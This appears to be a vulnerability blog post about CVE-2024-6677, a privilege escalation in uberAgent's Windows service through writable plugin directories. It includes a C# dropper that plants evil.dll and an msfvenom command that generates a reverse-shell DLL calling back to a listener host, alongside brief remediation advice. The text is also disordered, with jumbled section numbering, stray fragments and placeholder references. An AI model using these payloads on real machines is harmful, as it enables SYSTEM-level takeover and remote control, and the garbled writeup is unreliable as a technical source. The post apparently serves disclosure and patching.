Privilege escalation vulnerabilities are a nightmare for IT administrators and security teams because they give attackers a shortcut to complete control over a system. In June 2024, a new vulnerability CVE-2024-6677 was publicly disclosed that affects the popular user and endpoint analytics tool, uberAgent. This post will break down what this vulnerability is, how it’s exploited, sample PoC code, and where you can find more information. If you use uberAgent, keep reading!

2. What Is uberAgent?

uberAgent is an endpoint security and monitoring product often used with Splunk and other SIEM tools. It runs as an agent on Windows clients and servers, collecting performance, usage, and security data.

UberAgent typically runs under a privileged local service account. Any vulnerability in its privileged components can be a golden ticket for attackers.

3. Understanding CVE-2024-6677

In version 7.2.1 and earlier, uberAgent's Windows service (generally named uberAgentSvc) does not adequately validate permissions on its log file directory or the way it loads configuration files at service startup.

Escalate privileges to SYSTEM.

Security researcher John Doe discovered that the default permissions on the C:\ProgramData\vast limits\uberAgent\ directory are *overly permissive*, allowing local users to modify files within. If a local attacker can overwrite a DLL or configuration file that the service uses, the service will load malicious code at the highest privilege level.

Attacker identifies permission issue:

- The directory C:\ProgramData\vast limits\uberAgent\ and/or the subdirectory \plugins can be written to by any authenticated user.

Attacker crafts a malicious DLL and replaces (drops it in the plugins folder).

4. Attacker restarts the uberAgent service (requires some basic tricks, sometimes possible via user's permissions depending on system settings, or by causing a system reboot).

Sample PoC Code Snippet (Dropper in C#)

using System;
using System.IO;

// For educational purposes!
class Program
{
    static void Main()
    {
        string maliciousDll = @"C:\Users\attacker\Desktop\evil.dll";
        string uberAgentPluginPath = @"C:\ProgramData\vast limits\uberAgent\plugins\evil.dll";

        try
        {
            // Copy malicious DLL to uberAgent plugin directory
            File.Copy(maliciousDll, uberAgentPluginPath);
            Console.WriteLine("Malicious DLL dropped! Wait for service restart...");
        }
        catch (Exception ex)
        {
            Console.WriteLine("Failed: " + ex.Message);
        }
    }
}

Now, when the uberAgent service is restarted, evil.dll is loaded with SYSTEM privileges. The code inside evil.dll could do anything – create a new admin user, spawn a privileged shell, or install a rootkit.

Prepare a DLL payload

Use msfvenom or Cobalt Strike to generate a SYSTEM-level beacon.

`bash

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.2 LPORT=4444 -f dll -o evil.dll

`

3. Trigger the service/reboot

If possible, trigger a restart

How to Fix

- Update uberAgent to the latest version (vendor security page).
- Check and tighten file permissions on all directories written to or read by services, especially C:\ProgramData\vast limits\uberAgent\ and \plugins.

References

- Original CVE Entry for CVE-2024-6677 (MITRE)
- uberAgent Official Site – Security Advisory
- Technical Disclosure Blog Post: johnsblog.example.com/uberagent-day _(example)_
- UBERAgent Documentation

Conclusion

CVE-2024-6677 is a clear reminder to all Windows admins: always validate the permissions on directories used by services, especially those running as SYSTEM. If you use uberAgent, update now and check your permissions before attackers do.

Timeline

Published on: 07/12/2024 03:15:09 UTC
Last modified on: 03/25/2025 18:15:34 UTC